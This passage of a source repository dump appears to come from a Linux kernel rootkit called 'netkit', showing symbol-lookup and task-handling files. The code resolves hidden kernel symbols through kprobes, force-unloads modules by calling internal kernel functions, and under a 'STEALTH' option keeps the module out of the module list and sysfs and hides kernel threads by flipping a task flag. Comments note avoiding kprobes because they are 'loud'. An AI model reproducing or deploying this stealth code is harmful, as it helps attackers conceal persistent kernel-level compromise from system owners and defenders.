kp.addr); 26 | 27 | retv = (void*)kp.addr; 28 | unregister_kprobe(&kp); 29 | 30 | return retv; 31 | } 32 | 33 | typedef unsigned long (*_sym_type__kallsyms_lookup_name)(const char*); 34 | static _sym_type__kallsyms_lookup_name _sym_addr__allsyms_lookup_name; 35 | 36 | static _sym_type__kallsyms_lookup_name get_kallsyms_lookup_name(void) 37 | { 38 | void *retv = NULL; 39 | 40 | // build cache since frequent access and kprobes are slow 41 | if (likely(_sym_addr__allsyms_lookup_name)) 42 | return _sym_addr__allsyms_lookup_name; 43 | 44 | retv = (_sym_type__kallsyms_lookup_name)sym_lookup_probes("kallsyms_lookup_name"); 45 | if (IS_ERR(retv)) 46 | return retv; 47 | 48 | _sym_addr__allsyms_lookup_name = retv; 49 | 50 | return _sym_addr__allsyms_lookup_name; 51 | } 52 | 53 | /* 54 | * get symbol using kallsyms (not using kprobe since it's loud) 55 | */ 56 | void *sym_lookup(const char* sym_name) 57 | { 58 | _sym_type__kallsyms_lookup_name kallsyms_lookup_name; 59 | void *ret; 60 | 61 | kallsyms_lookup_name = get_kallsyms_lookup_name(); 62 | 63 | // eventually disable KASAN if it's acting stupid: 64 | //kasan_disable_current(); 65 | ret = (void*)kallsyms_lookup_name(sym_name); 66 | //kasan_enable_current(); 67 | 68 | return ret; 69 | } 70 | 71 | int sym_lookup_name(unsigned long symbol, char **res_buf, size_t *res_buflen) 72 | { 73 | int retv; 74 | 75 | // for some reason symbol names are this big??? 76 | *res_buf = kzmalloc(1024, GFP_KERNEL); 77 | if (IS_ERR(*res_buf)) 78 | { 79 | *res_buf = NULL; 80 | return PTR_ERR(*res_buf); 81 | } 82 | 83 | retv = sprint_symbol(*res_buf, symbol); 84 | if (retv < 0) 85 | return retv; 86 | 87 | *res_buflen = 1024; 88 | 89 | return 0; 90 | } -------------------------------------------------------------------------------- /src/sys/symbol.h: -------------------------------------------------------------------------------- 1 | #ifndef SYS__KERNEL_H 2 | #define SYS__KERNEL_H 3 | 4 | void *sym_lookup(const char* sym_name); 5 | int sym_lookup_name(unsigned long symbol, char **res_buf, size_t *res_buflen); 6 | 7 | #endif -------------------------------------------------------------------------------- /src/sys/task.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #include "task.h" 12 | 13 | #include "symbol.h" 14 | #include "debug.h" 15 | #include "../netkit.h" 16 | 17 | static struct task_struct *get_task_by_name(const char *name) 18 | { 19 | struct task_struct *task; 20 | 21 | for_each_process(task) { 22 | if (strcmp(task->comm, name) == 0) { 23 | return task; 24 | } 25 | } 26 | 27 | return NULL; 28 | } 29 | 30 | int kthread_stop_by_name(const char *name) 31 | { 32 | struct task_struct *task; 33 | 34 | task = get_task_by_name(name); 35 | if (!task) 36 | return -ESRCH; 37 | 38 | return kthread_stop(task); 39 | } 40 | 41 | 42 | #define MODULE_REF_BASE 1 43 | 44 | // direct copy 45 | static int try_release_module_ref(struct module *mod) 46 | { 47 | int ret; 48 | 49 | // Try to decrement refcnt which we set at loading 50 | ret = atomic_sub_return(MODULE_REF_BASE, &mod->refcnt); 51 | BUG_ON(ret < 0); 52 | if (ret) 53 | // Someone can put this right now, recover with checking 54 | ret = atomic_add_unless(&mod->refcnt, MODULE_REF_BASE, 0); 55 | 56 | return ret; 57 | } 58 | 59 | // direct copy from kernel, but it's optimized away so no symbol :( 60 | static int try_stop_module(struct module *mod, int flags, int *forced) 61 | { 62 | // If it's not unused, quit unless we're forcing. 63 | if (try_release_module_ref(mod) != 0) { 64 | *forced = (flags & O_TRUNC); 65 | if (!(*forced)) 66 | return -EWOULDBLOCK; 67 | 68 | add_taint(TAINT_FORCED_RMMOD, LOCKDEP_NOW_UNRELIABLE); 69 | } 70 | 71 | // Mark it as dying. 72 | mod->state = MODULE_STATE_GOING; 73 | 74 | return 0; 75 | } 76 | 77 | static void free_module(struct module *mod) 78 | { 79 | struct mutex *module_mutex; 80 | void (*module_arch_cleanup)(struct module*); 81 | void (*module_unload_free)(struct module*); 82 | void (*mod_tree_remove)(struct module*); 83 | void (*module_arch_freeing_init)(struct module*); 84 | void (*destroy_params)(struct kernel_param*, unsigned); 85 | void (*module_bug_cleanup)(struct module*); 86 | void (*do_exit)(long); 87 | 88 | // leave out: 89 | // - trace_module_free (function not found) 90 | // - mod_sysfs_teardown (function already called) 91 | // - live patch code (this is not live patch code) 92 | // - deletion from module list (already called) 93 | // - try_add_tained_module (a lot of ugly code reuse) 94 | // **** free_mod_mem(mod) **** (causes bug(), but this will cause memory to keep existing) 95 | 96 | #if (!CONFIG_NETKIT_STEALTH) 97 | void (*mod_sysfs_teardown)(struct module*); 98 | 99 | mod_sysfs_teardown = (void (*)(struct module*))sym_lookup("mod_sysfs_teardown"); 100 | mod_sysfs_teardown(mod); 101 | #endif 102 | 103 | module_mutex = (struct mutex*)sym_lookup("module_mutex"); 104 | 105 | // We leave it in list to prevent duplicate loads, but make sure 106 | // that noone uses it while it's being deconstructed. 107 | mutex_lock(module_mutex); 108 | mod->state = MODULE_STATE_UNFORMED; 109 | mutex_unlock(module_mutex); 110 | 111 | // Arch-specific cleanup. 112 | module_arch_cleanup = (void (*)(struct module*))sym_lookup("module_arch_cleanup"); 113 | module_arch_cleanup(mod); 114 | 115 | // Module unload stuff 116 | module_unload_free = (void (*)(struct module*))sym_lookup("module_unload_free"); 117 | module_unload_free(mod); 118 | 119 | // Free any allocated parameters. 120 | destroy_params = (void (*)(struct kernel_param*, unsigned))sym_lookup("destroy_params"); 121 | destroy_params(mod->kp, mod->num_kp); 122 | 123 | // Now we can delete it from the lists 124 | mutex_lock(module_mutex); 125 | // Unlink carefully: kallsyms could be walking list. 126 | 127 | #if (!CONFIG_NETKIT_STEALTH) 128 | list_del_rcu(&mod->list); 129 | #endif 130 | 131 | mod_tree_remove = (void (*)(struct module*))sym_lookup("mod_tree_remove"); 132 | mod_tree_remove(mod); 133 | 134 | // Remove this module from bug list, this uses list_del_rcu 135 | module_bug_cleanup = (void (*)(struct module*))sym_lookup("module_bug_cleanup"); 136 | module_bug_cleanup(mod); 137 | // Wait for RCU-sched synchronizing before releasing mod->list and buglist. 138 | synchronize_rcu(); 139 | //if (try_add_tainted_module(mod)) 140 | // pr_err("%s: adding tainted module to the unloaded tainted modules list failed.\n", mod->name); 141 | mutex_unlock(module_mutex); 142 | 143 | // This may be empty, but that's OK 144 | module_arch_freeing_init = (void (*)(struct module*))sym_lookup("module_arch_freeing_init"); 145 | module_arch_freeing_init(mod); 146 | kfree(mod->args); 147 | free_percpu(mod->percpu); 148 | 149 | NETKIT_LOG("[*] gonna exit...\n"); 150 | 151 | do_exit = (void (*)(long))sym_lookup("do_exit"); 152 | do_exit(0); 153 | } 154 | 155 | /* 156 | * this code is pretty much destroy_module, but recoded to avoid userland mem 157 | * if there's a workaround to allocate userland mem, please implement 158 | * 159 | * segfaults when successfull 160 | */ 161 | int module_stop(void* data) 162 | { 163 | struct mutex *module_mutex; 164 | struct module *mod = (struct module*)data; 165 | void (*async_synchronize_full)(void); 166 | int forced; 167 | int retv = 0; 168 | 169 | 170 | module_mutex = (struct mutex*)sym_lookup("module_mutex"); 171 | NETKIT_LOG("[*] module_stop entering mutex lock...\n"); 172 | if (mutex_lock_interruptible(module_mutex) != 0) 173 | { 174 | retv = -EINTR; 175 | goto LAB_OUT; 176 | } 177 | 178 | if (mod->state != MODULE_STATE_LIVE) { 179 | NETKIT_LOG("[!] %s already dying\n", mod->name); 180 | retv = -EBUSY; 181 | goto LAB_OUT; 182 | } 183 | 184 | NETKIT_LOG("[*] trying to stop module (checks module refs)...\n"); 185 | 186 | #if CONFIG_NETKIT_STEALTH 187 | module_put(THIS_MODULE); 188 | #endif 189 | 190 | retv = try_stop_module(mod, 0, &forced); 191 | if (retv != 0) 192 | goto LAB_OUT; 193 | 194 | mutex_unlock(module_mutex); 195 | 196 | NETKIT_LOG("[*] exiting module...\n"); 197 | mod->exit(); 198 | 199 | // don't remove kernel live patches, since every module will be notified 200 | 201 | // sync RCU function calls 202 | NETKIT_LOG("[*] syncing...\n"); 203 | async_synchronize_full = (void (*)(void))sym_lookup("async_synchronize_full"); 204 | async_synchronize_full(); 205 | 206 | // pagefaults, so this does not return 207 | NETKIT_LOG("[*] freeing...\n"); 208 | //free_module = (void (*)(struct module*))sym_lookup("free_module"); 209 | free_module(mod); 210 | 211 | // implement this in ASM (or C lol): 212 | // push do_exit 213 | // jmp free_module 214 | 215 | // this is unreachable, but a safe guard can't hurt 216 | BUG(); 217 | return 0; 218 | 219 | LAB_OUT: 220 | mutex_unlock(module_mutex); 221 | return retv; 222 | } -------------------------------------------------------------------------------- /src/sys/task.h: -------------------------------------------------------------------------------- 1 | #ifndef SYS__TASK_H 2 | #define SYS__TASK_H 3 | 4 | #include 5 | #include 6 | 7 | #include "../netkit.h" 8 | 9 | #if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 14, 0) 10 | #define TASK_STATE(task) ((task)->__state) 11 | #else 12 | #define TASK_STATE(task) ((task)->state) 13 | #endif 14 | 15 | int kthread_stop_by_name(const char *name); 16 | int module_stop(void* data); 17 | 18 | #if CONFIG_NETKIT_STEALTH 19 | #define KTHREAD_RUN_HIDDEN(...) ({ \ 20 | struct task_struct *task; \ 21 | \ 22 | task = kthread_run(__VA_ARGS__); \ 23 | task->flags ^= 0x10000000; \ 24 | \ 25 | task; \ 26 | }) 27 | #else 28 | #define KTHREAD_RUN_HIDDEN(...) kthread_run(__VA_ARGS__); 29 | #endif 30 | 31 | #endif --------------------------------------------------------------------------------